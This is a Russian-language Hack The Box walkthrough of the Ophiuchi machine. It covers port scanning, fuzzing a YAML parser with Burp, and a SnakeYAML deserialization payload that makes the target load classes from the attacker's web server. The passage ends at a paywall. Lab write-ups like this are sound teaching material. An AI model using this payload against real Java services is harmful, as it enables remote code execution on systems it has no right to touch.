В этой статье я покажу про­хож­дение машины Ophiuchi с пло­щад­ки Hack The Box. На ее при­мере мы сна­чала попен­тестим SnakeYAML, а затем будем модифи­циро­вать при­ложе­ние на Go, которое ком­пилиру­ется в WebAssembly.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем адрес машины в файл hosts, что­бы обра­щать­ся к ней по име­ни.

10.10.10.227 ophiuchi.htb

И начина­ем тра­дици­онно со ска­ниро­вания пор­тов. В этот раз я буду исполь­зовать быс­трый ска­нер RustScan. Сна­чала он най­дет все откры­тые пор­ты, а потом передаст зна­мени­тому Nmap для ска­ниро­вания со скрип­тами (прос­то ука­жем опцию -A).

rustscan 10.10.10.227 -- -A
Обнаруженные с помощью RustScan открытые порты
Об­наружен­ные с помощью RustScan откры­тые пор­ты
Сканирование Nmap
Ска­ниро­вание Nmap

Мы наш­ли две служ­бы: SSH (порт 22) и веб‑сер­вер Apache Tomcat (порт 8080). На SSH сей­час мож­но толь­ко брут­форсить учет­ные дан­ные, но это не комиль­фо, тем более при про­хож­дении лабора­тор­ных машин. Поэто­му нам оста­ется искать точ­ку вхо­да на сай­те.

 

Точка входа

При перехо­де на сайт нас встре­тила фор­ма пар­сера раз­метки YAML.

Форма Online YAML Parser
Фор­ма Online YAML Parser

Ти­пич­ная проб­лема любых пар­серов — неп­равиль­ная обра­бот­ка слу­жеб­ных сим­волов, которая может при­вес­ти к уяз­вимос­тям. Что­бы про­верить, нет ли здесь чего‑то подоб­ного, отпра­вим в фор­му вво­да все печата­емые сим­волы по оче­реди. Я буду делать это через Burp. Пер­вым делом перех­ватим зап­рос в Burp и отпра­вим его в Intruder. На вклад­ке Payload Position ука­жем тип ата­ки Sniper, изме­ним зна­чение парамет­ра data, при­менив пус­тую наг­рузку.

Вкладка Payload Position
Вклад­ка Payload Position

Да­лее на вклад­ке Payload Options заг­рузим спи­сок печата­емых сим­волов, к при­меру этот, из набора сло­варей SecLists. И выпол­ним перебор, нажав кноп­ку Start Attack. Пос­ле завер­шения ата­ки сор­тиру­ем резуль­таты по стол­бцу Length так, что­бы сна­чала шли самые боль­шие отве­ты.

Вкладка Payload Options
Вклад­ка Payload Options
Результат перебора символа
Ре­зуль­тат перебо­ра сим­вола

Ес­ли отправ­лять обыч­ные сим­волы, то ответ всег­да будет оди­нако­вый.

Due to security reason this feature has been temporarily on hold. We will soon fix the issue!

Но в ответ на некото­рые зап­росы мы получа­ем ошиб­ки. Для нас это хорошо, так как сооб­щения могут рас­кры­вать допол­нитель­ную информа­цию о целевом при­ложе­нии, к при­меру исполь­зуемые тех­нологии. И дей­стви­тель­но: в тек­сте ошиб­ки видим упо­мина­ние SnakeYAML, и, что более инте­рес­но, ошиб­ка про­исхо­дит в методе load.

info

SnakeYAML — про­цес­сор раз­метки YAML для прог­рамм на Java.

Текст ошибки, получаемой при отправке символа процента
Текст ошиб­ки, получа­емой при отправ­ке сим­вола про­цен­та

То есть в дан­ном слу­чае поль­зователь­ский ввод переда­ется в метод Yaml.load(), который кон­верти­рует документ YAML в объ­ект Java, что потен­циаль­но может при­вес­ти к уяз­вимос­ти десери­али­зации, а это, в свою оче­редь, откры­вает путь к уда­лен­ному выпол­нению кода (RCE).

Даль­ше я без тру­да нашел готовую наг­рузку, которая экс­плу­ати­рует уяз­вимость в десери­али­зации SnakeYAML (PDF). Смысл уяз­вимос­ти в том, что мы можем спро­воци­ровать заг­рузку клас­са со сво­его хос­та.

Да­вай отпра­вим тес­товую наг­рузку и пос­мотрим на резуль­тат. Что­бы пой­мать отклик, запус­тим прос­той локаль­ный веб‑сер­вер Python 3.

python3 -m http.server 8000

А теперь отправ­ляем сле­дующую наг­рузку. Пос­ле отправ­ки в логах веб‑сер­вера уви­дим попыт­ку заг­рузить фай­лы.

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.88:8000/"]
]]
]
Поиск описанных уязвимостей в Online YAML Parser
По­иск опи­сан­ных уяз­вимос­тей в Online YAML Parser

В окне бра­узе­ра наб­люда­ем уже зна­комое нам сооб­щение, а вот в логах веб‑сер­вера видим две записи, одна из которых — зап­рос HEAD. То есть наше пред­положе­ние ока­залось вер­ным, мы можем добить­ся заг­рузки кода с нашего сер­вера.

Логи локального веб-сервера Python
Ло­ги локаль­ного веб‑сер­вера Python

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Оставить мнение